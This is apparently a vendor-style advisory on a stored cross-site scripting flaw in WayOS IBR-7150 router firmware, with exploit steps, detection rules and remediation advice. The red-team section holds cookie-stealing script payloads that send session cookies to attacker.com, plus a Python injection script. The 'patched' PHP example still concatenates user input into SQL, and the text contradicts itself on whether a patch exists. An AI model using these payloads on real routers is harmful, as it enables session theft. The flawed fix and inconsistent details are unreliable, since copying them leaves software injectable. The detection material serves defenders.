CVE-2024-22547

Executive Summary

CVE-2024-22547 identifies a stored Cross-Site Scripting (XSS) vulnerability in the WayOS IBR-7150 router firmware versions prior to 17.06.23. This flaw allows an authenticated attacker to inject arbitrary JavaScript or HTML into the web management interface, which is then executed in the context of other administrators' browsers. Successful exploitation can lead to session hijacking, credential theft, or further compromise of the device's administrative functions. The vulnerability is publicly known, but no official patch has been confirmed by the vendor. Given the router's role as a network gateway, this XSS can pivot into broader network attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (requires authenticated user)
• User Interaction (UI): Required (victim admin must view the malicious page)
• Scope (S): Changed (XSS can affect other admin sessions)
• Confidentiality (C): Low (potential data leakage)
• Integrity (I): Low (malicious actions possible)
• Availability (A): None

Threat Level: Medium. While the CVSS is unassigned, the real-world impact is significant for network administrators. The requirement for authentication reduces the attack surface, but once inside, the attacker can escalate privileges or pivot to internal hosts.

Deep Dive & Mechanics

The vulnerability resides in the web-based management interface of the WayOS IBR-7150. The application fails to properly sanitize user-supplied input before storing it in a database or configuration file. When an administrator views the affected page (e.g., a log viewer, configuration panel, or status page), the stored malicious script is rendered in their browser.

Root Cause: Lack of output encoding or input validation on fields such as device name, SSID, or custom firewall rules. The injected payload is stored and later reflected without sanitization.

Attack Flow:

1. Attacker authenticates to the router's admin panel (default credentials or brute-force).
2. Attacker navigates to a vulnerable input field (e.g., "Device Name" under System Settings).
3. Attacker injects a payload like <script>alert('XSS')</script>.
4. The payload is stored in the router's configuration.
5. When another admin (or the same admin later) views the page, the script executes.
6. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// vulnerable.php
$device_name = $_POST['device_name'];
// No sanitization
$query = "UPDATE config SET device_name='$device_name'";
mysqli_query($conn, $query);
// Later, when displaying:
echo "<div>Device: $device_name</div>";

Patched Code (Conceptual):

// patched.php
$device_name = $_POST['device_name'];
// Sanitize input
$device_name = htmlspecialchars($device_name, ENT_QUOTES, 'UTF-8');
$query = "UPDATE config SET device_name='$device_name'";
mysqli_query($conn, $query);
// Output is already safe
echo "<div>Device: $device_name</div>";

The patch would involve proper output encoding using htmlspecialchars() or equivalent, and input validation to reject or escape HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WayOS IBR-7150 with firmware < 17.06.23
• Valid admin credentials (e.g., admin/admin)
• Network access to the router's web interface (default: 192.168.1.1)

Exploit Steps:

1. Log in to the router's web interface.
2. Navigate to System > Basic Settings > Device Name.
3. Inject the following payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Click Save.
5. Wait for another admin to view the System Status page, or trigger the page yourself.
6. The cookie is exfiltrated to attacker.com.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log?data=' + document.cookie;
</script>

Automated Exploit (Python):

import requests

target = "http://192.168.1.1"
username = "admin"
password = "admin"
payload = "<script>alert('XSS')</script>"

session = requests.Session()
session.post(f"{target}/cgi-bin/login", data={"username": username, "password": password})
session.post(f"{target}/cgi-bin/set", data={"device_name": payload})
print("Payload injected. Trigger by visiting System Status.")

Blue Team

Detection:

• Monitor for unusual POST requests to /cgi-bin/set with suspicious parameters.
• Look for outbound HTTP requests from the router to unknown IPs (cookie exfiltration).
• Check logs for repeated login attempts (brute-force).

Hunting:

• Search for <script> tags in configuration backups or logs.
• Use Wireshark to capture HTTP traffic to the router and inspect for XSS patterns.

Mitigation:

• Restrict admin access to trusted IPs only.
• Implement Content Security Policy (CSP) headers on the router.
• Use a web application firewall (WAF) to filter XSS payloads.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the router.
  • Suspicious POST requests to /cgi-bin/set containing <script> or onerror attributes.
• Host:
  • Unusual entries in the router's configuration (e.g., device name containing JavaScript).
  • Modified system logs showing unexpected admin actions.
• File:
  • Configuration backup files containing HTML/JavaScript in plaintext fields.

Detection Engineering

YARA Rule

rule wayos_xss_payload {
    meta:
        description = "Detects XSS payloads in WayOS IBR-7150 configuration"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22547"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: WayOS IBR-7150 XSS Payload Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in POST requests to WayOS router settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/set'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate admin actions with unusual characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22547 WayOS IBR-7150 XSS Payload Injection";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/set"; http_uri;
    content:"<script"; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2024-22547;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to version 17.06.23 or later if available. Check WayOS official website for updates.
2. Restrict admin access to the router's web interface to trusted IPs only (e.g., via firewall rules).
3. Change default credentials immediately and enforce strong passwords.
4. Disable remote management if not required.

Long-Term Measures:

• Implement a web application firewall (WAF) to filter XSS payloads.
• Regularly audit router configurations for suspicious entries.
• Monitor logs for unusual admin activity.
• Consider replacing the device if no patch is released.

Workaround:

• If patching is not possible, use a reverse proxy with XSS filtering in front of the router's web interface.

Valters IT